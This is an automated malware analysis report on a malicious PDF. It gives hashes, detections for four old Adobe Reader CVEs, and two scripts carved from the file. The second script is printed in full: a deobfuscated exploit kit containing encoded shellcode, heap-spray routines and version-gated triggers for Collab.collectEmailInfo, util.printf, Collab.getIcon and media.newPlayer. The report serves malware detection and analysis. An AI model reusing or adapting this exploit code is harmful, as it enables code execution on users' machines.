Malicious PDF — malware analysis report

Static analysis result for SHA-256 f588ba08bf655ade…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-07
MD5: 0acc1e1df85ef93c6cb792df3521e23d SHA-1: fbae9b1a8175448ffe7987fd8c32a072a761b3eb SHA-256: f588ba08bf655ade10f123a8ed2bf53ab60913dc4b0e7a605aee7e22b8b7547c
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities within the PDF reader. No specific IOCs were extracted from the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFE7 447 bytes
SHA-256: 30aba4360620ec458341a4ae35bae45e748515fb6dca25afc1e013102572af53
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qvil='';
vxtne=('qwrwqr','tit');
e('dzpvq=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
zja=e('String.fro'+dzpvq.substr(0,9));
skkv = e(dzpvq.substr(9)['replace'](/u/g,','));
e('k=skkv.length');
for (i = 0; i < k; i+=2) {
	ggaa = skkv[i+1] + ('erybjkerl',skkv[i]);
	qvil += zja(ggaa);
}
e(qvil);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: 03af221f1d47ca095917a6f972297a3c90e55f4eef9f40811629ad6fa12857a0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uc434%ue2aa%uc3fa%ue5e8%uffff%u2dff%uc5c8%uc4c4%u459a%u9828%uc4c5%u4dc4%u4923%ud48b%uab49%uf590%u931f%u9795%u9797%u9797%u9797%u9791%uac97%uc5c0%uc4c4%u9291%uac97%uaaab%uc4c4%ub1ac%ua8b6%u90a9%u4aac%uca8a%u2c28%uc48c%uc4c4%u2c94%uc4b8%uc4c4%u143b%u0047%uaccc%u2b8b%uc18b%u2c94%uc4a8%uc4c4%u143b%u0441%ud3b1%u90ae%u379d%uac6e%u3ab6%ud277%ud92c%uc4c4%u94c4%u952c%uc4c4%u3bc4%u9714%u3aae%u4dac%uc5ab%u2c79%uc4cc%uc4c4%u2c94%uc4f8%uc4c4%u143b%uf5a4%ua004%u944f%u4ff4%uc896%u964f%u4fd0%uecb6%udc7d%uc4c4%uf5c4%uf53b%u6804%ua5f8%uc6b8%ue4e8%u0b05%uc5c9%u2603%u4534%u9f3b%u8e78%u4fae%ud486%ud64f%u1db1%u804d%ud8e0%u07a5%u4fa4%ue0a8%u4fe0%uf881%u904f%ubcc1%u2ec5%u8e4f%u4fdc%ue49e%u2fc5%uf027%u4f8d%u4ff0%u2ac5%u3bf5%u04f5%u6838%u0440%uc3b0%u0b05%uc5c9%u2f03%uff30%ue0b8%ub1ec%u4f25%ue09e%u2fc5%u4fa2%u8fc8%u9e4f%uc5d8%u4f2f%u4fc0%u2cc5%u804d%ud8e0%u06a5%uc4cc%u2b2c%u3b3a%uac3b%ub0b0%ufeb4%uebeb%ua8a5%ubea5%ub6a5%uadb3%ueaaa%uaaad%uaba2%ua0eb%ub4ea%ub4ac%ua2fb%uf7f9%ue2fd%uf9a1%uc4f1';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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